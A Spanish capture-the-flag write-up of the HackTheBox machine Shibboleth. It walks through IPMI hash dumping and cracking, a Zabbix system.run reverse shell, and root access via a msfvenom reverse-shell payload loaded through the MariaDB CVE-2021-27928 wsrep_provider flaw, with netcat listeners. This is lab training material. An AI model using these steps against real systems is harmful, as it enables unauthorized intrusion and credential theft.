Shibboleth es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Shibboleth 10.10.11.124 a /etc/hosts como shibboleth.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 |
# Nmap 7.92 scan initiated Fri Dec 24 14:47:10 2021 as: nmap -sV -sC -oA enumeration/nmap 10.10.11.124 Nmap scan report for 10.10.11.124 Host is up (0.046s latency). Not shown: 999 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.41 |_http-title: Did not follow redirect to http://shibboleth.htb/ |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: Host: shibboleth.htb Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Dec 24 14:47:21 2021 -- 1 IP address (1 host up) scanned in 11.31 seconds |
Vemos que sólo tenemos un puerto abierto, el 80, que pertenecerá a un portal web con apache.
En este caso además, hemos encontrado un puerto interesante al realizar el escaneo udp
1 2 3 4 5 6 7 8 |
# Nmap 7.92 scan initiated Fri Dec 24 15:13:35 2021 as: nmap -sU -oA enumeration/udpnmap 10.10.11.124 Nmap scan report for shibboleth.htb (10.10.11.124) Host is up (0.045s latency). Not shown: 962 closed udp ports (port-unreach), 37 open|filtered udp ports (no-response) PORT STATE SERVICE 623/udp open asf-rmcp # Nmap done at Fri Dec 24 15:30:43 2021 -- 1 IP address (1 host up) scanned in 1028.06 seconds |
Enumeración
Una vez hecha la primera parte del escaneo vamos a revisar el portal web, que tiene el siguiente aspecto
Después de revisar el mismo no observamos nada relevante a excepción de un mensaje en el footer donde indica que la monitorización está basada en zabbix y bmc
Con lo anterior parece que no descubrimos mucho así que vamos a enumerar posibles directorios
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
$ gobuster dir -u http://shibboleth.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://shibboleth.htb/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/12/24 14:49:14 Starting gobuster in directory enumeration mode =============================================================== /assets (Status: 301) [Size: 317] [--> http://shibboleth.htb/assets/] /forms (Status: 301) [Size: 316] [--> http://shibboleth.htb/forms/] /server-status (Status: 403) [Size: 279] =============================================================== 2021/12/24 14:51:20 Finished =============================================================== |
Aunque no descubrimos gran cosa, así que vamos a pasar a tratar de descubrir algún subdominio con ffuf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
$ ffuf -u http://shibboleth.htb/ -w /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.shibboleth.htb" -t 200 -fl 10 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.3.1 Kali Exclusive <3 ________________________________________________ :: Method : GET :: URL : http://shibboleth.htb/ :: Wordlist : FUZZ: /home/asdf/github/SecLists/Discovery/DNS/subdomains-top1million-110000.txt :: Header : Host: FUZZ.shibboleth.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 200 :: Matcher : Response status: 200,204,301,302,307,401,403,405 :: Filter : Response lines: 10 ________________________________________________ monitoring [Status: 200, Size: 3686, Words: 192, Lines: 30] zabbix [Status: 200, Size: 3686, Words: 192, Lines: 30] monitor [Status: 200, Size: 3686, Words: 192, Lines: 30] :: Progress: [114532/114532] :: Job [1/1] :: 2232 req/sec :: Duration: [0:01:02] :: Errors: 0 :: |
Y en este caso si descubrimos 3 subdominios a añadir en nuestro ficheros hosts, aunque los 3 apuntan al mismo sitio que sería el portal de login de zabbix
Hasta aqui damos muchas vueltas pero no conseguimos nada importante así que vamos a retomar el puerto udp que descubrimos anteriormente
1 |
623/udp open asf-rmcp |
Buscamos en internet y leemos al respecto, destacando las siguientes webs
1 2 3 |
https://book.hacktricks.xyz/pentesting/623-udp-ipmi http://fish2.com/ipmi/cipherzero.html https://www.tenable.com/plugins/nessus/80101 |
Así que vamos a utilizar el plugin de metasploit para identificar si realmente es vulnerable.
En primer lugar verificaremos la versión con el modulo ipmi_version
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
msf5 > use auxiliary/scanner/ipmi/ipmi_version msf5 auxiliary(scanner/ipmi/ipmi_version) > show options Module options (auxiliary/scanner/ipmi/ipmi_version): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 623 yes The target port (UDP) THREADS 10 yes The number of concurrent threads msf5 auxiliary(scanner/ipmi/ipmi_version) > msf5 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 10.10.11.124 rhosts => 10.10.11.124 msf5 auxiliary(scanner/ipmi/ipmi_version) > run [*] Sending IPMI requests to 10.10.11.124->10.10.11.124 (1 hosts) [+] 10.10.11.124:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
Y descubrimos que, efectivamente, se trata de la versión 2.0 que es vulnerable, aunque vamos a asegurarnos con el modulo ipmi_cipher_zero
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
msf5 > use auxiliary/scanner/ipmi/ipmi_cipher_zero msf5 auxiliary(scanner/ipmi/ipmi_cipher_zero) > show options Module options (auxiliary/scanner/ipmi/ipmi_cipher_zero): Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 623 yes The target port (UDP) THREADS 10 yes The number of concurrent threads msf5 auxiliary(scanner/ipmi/ipmi_cipher_zero) > set rhosts 10.10.11.124 rhosts => 10.10.11.124 msf5 auxiliary(scanner/ipmi/ipmi_cipher_zero) > run [*] Sending IPMI requests to 10.10.11.124->10.10.11.124 (1 hosts) [+] 10.10.11.124:623 - IPMI - VULNERABLE: Accepted a session open request for cipher zero [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
Y, sí, es vulnerable, así que el siguiente paso será intentar extraer los hashes de los usuarios con ipmi_dumphashes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
msf5 > use auxiliary/scanner/ipmi/ipmi_dumphashes msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options Module options (auxiliary/scanner/ipmi/ipmi_dumphashes): Name Current Setting Required Description ---- --------------- -------- ----------- CRACK_COMMON true yes Automatically crack common passwords as they are obtained OUTPUT_HASHCAT_FILE no Save captured password hashes in hashcat format OUTPUT_JOHN_FILE no Save captured password hashes in john the ripper format PASS_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt yes File containing common passwords for offline cracking, one per line RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 623 yes The target port THREADS 1 yes The number of concurrent threads (max one per host) USER_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt yes File containing usernames, one per line msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.10.11.124 rhosts => 10.10.11.124 msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > set OUTPUT_JOHN_FILE /home/asdf/current/data/ipmi_john_hash.txt OUTPUT_JOHN_FILE => /home/asdf/current/data/ipmi_john_hash.txt msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > set OUTPUT_HASHCAT_FILE /home/asdf/current/data/ipmi_hashcat_hash.txt OUTPUT_HASHCAT_FILE => /home/asdf/current/data/ipmi_hashcat_hash.txt msf5 auxiliary(scanner/ipmi/ipmi_dumphashes) > run [+] 10.10.11.124:623 - IPMI - Hash found: Administrator:.....acc8d0519bc3a123456789ab....... [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed |
Y tenemos el hash, aunque no vamos a mostar el mismo por no revelar excesiva información al respecto. Ahora que lo tenemos buscamos el modulo de hashcat a utilizar
1 2 |
$ hashcat --help|grep -i ipmi 7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols |
Y desciframos el mismo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
$ hashcat -m 7300 hash /usr/share/wordlists/rockyou.txt --force hashcat (v6.1.1) starting... Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes.....: 139921507 * Keyspace..: 14344385 * Runtime...: 2 secs .................:xxxxxxxxxxxxxxx Session..........: hashcat Status...........: Cracked Hash.Name........: IPMI2 RAKP HMAC-SHA1 .... |
Así que ahora que tenemos las claves vamos a loguearnos en zabbix
Ahora que ya estamos dentro, buscamos en el footer y encontramos la versión del mismo, en concreto, se trata de la versión 5.0.17 para la cual no hemos encontrado exploits ni vulnerables como tal pero si una posible forma de conseguir avanzar.
A la hora de crear items en zabbix hay es posible utilizar scripts ya sea existentes en el propio sistema y cargados por el agente o a través de la ejecución de comandos con python disponible desde el panel web por lo que vamos a ello
El primer paso será ir hasta la creación del item, para ello habrá que ir por los siguientes menús:
configuration -> hosts -> items
y llegaremos a la siguiente ventana
Llegados a este punto crearemos nuestro item y añadiremos nuestro código en el campo key, en nuestro caso utilizamos la función system.run de python, aunque es posible utilizar otras, siguiendo nuestro ejemplo el comando tendría el formato
1 |
system.run[<command>, <mode>] |
Y quedaría como se ve en la siguiente captura
Levantamos una escucha con netcat en el puerto que indicamos en el item y esperamos el tiempo indicado de intervalo de actualización, y una vez transcurrido, tendremos una shell en nuestra escucha
1 2 3 4 5 6 7 8 |
$ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.4] from shibboleth.htb [10.10.11.124] 46326 bash: cannot set terminal process group (1104): Inappropriate ioctl for device bash: no job control in this shell zabbix@shibboleth:/$ id id uid=110(zabbix) gid=118(zabbix) groups=118(zabbix) |
Revisamos como acceder a la flag, pero este usuario no dispone de los permisos apropiados
1 2 3 4 5 |
zabbix@shibboleth:/$ zabbix@shibboleth:/home$ ls -l ipmi-svc ls -l ipmi-svc total 4 -rw-r----- 1 ipmi-svc ipmi-svc 33 Dec 24 13:50 user.txt |
Obteniendo la flag de user
Continuando en búsqueda de la flag, probamos el acceso con el usuario ipmi-svc con la clave que descubrimos antes y conseguimos la flag de user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
zabbix@shibboleth:/home$ su ipmi-svc su ipmi-svc Password: id uid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc) python3 -c 'import pty;pty.spawn("/bin/bash");' ipmi-svc@shibboleth:/home$ id id uid=1000(ipmi-svc) gid=1000(ipmi-svc) groups=1000(ipmi-svc) ipmi-svc@shibboleth:/home$ ipmi-svc@shibboleth:~$ ls -l ls -l total 4 -rw-r----- 1 ipmi-svc ipmi-svc 33 Dec 24 13:50 user.txt ipmi-svc@shibboleth:~$ cat user.txt cat user.txt 7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx5 ipmi-svc@shibboleth:~$ |
Escalado de privilegios
Ahora que ya tenemos la primera flag, revisamos los permisos del usuario, pero este no es capaz de hacer nada como root
1 2 3 4 5 |
ipmi-svc@shibboleth:~$ sudo -l sudo -l [sudo] password for ipmi-svc: Sorry, user ipmi-svc may not run sudo on shibboleth. |
Así que vamos a buscar por otros medios.
Después de un rato dando vueltas, recordamos el zabbix a través del accedemos, y verificamos que hay un servicio de mysql corriendo en la máquina, por lo que obtenemos las credenciales del mismo en los ficheros de configuración de zabbix
1 2 3 4 |
ipmi-svc@shibboleth:/etc/zabbix$ cat zabbix_server.conf | grep -E "DBName|DBUser|DBPassword" | grep -v "#" DBName=zabbix DBUser=zabbix DBPassword=xxxxxxxxxxxxxxx |
Revisamos el mysql y vemos algunas cosas pero parece que son todo agujeros de conejo así que seguimos y observamos la versión de mysql instalada en el sistema que no es otra que 10.3.25-MariaDB, la cual, es vulnerable a CVE-2021-27928 que dispone también de un exploit público en github
Así que siguiendo las indicaciones, en primer paso generaremos nuestro payload con msfvenom
1 |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4445 -f elf-so -o CVE-2021-27928.so |
Subimos el payload a la máquina, abrimos nuestra escucha y ejecutamos
1 2 3 4 5 |
ipmi-svc@shibboleth:/tmp$ mysql -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";' <ET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";' Enter password: ERROR 2013 (HY000) at line 1: Lost connection to MySQL server during query |
Y abremos conseguido el acceso como root a la máquina
1 2 3 4 5 |
$ nc -lvp 4445 listening on [any] 4445 ... connect to [10.10.14.4] from shibboleth.htb [10.10.11.124] 50020 id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Como último paso vamos a la home y obtenemos nuestra flag
1 2 3 4 |
id uid=0(root) gid=0(root) groups=0(root) cat /root/root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxxc |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace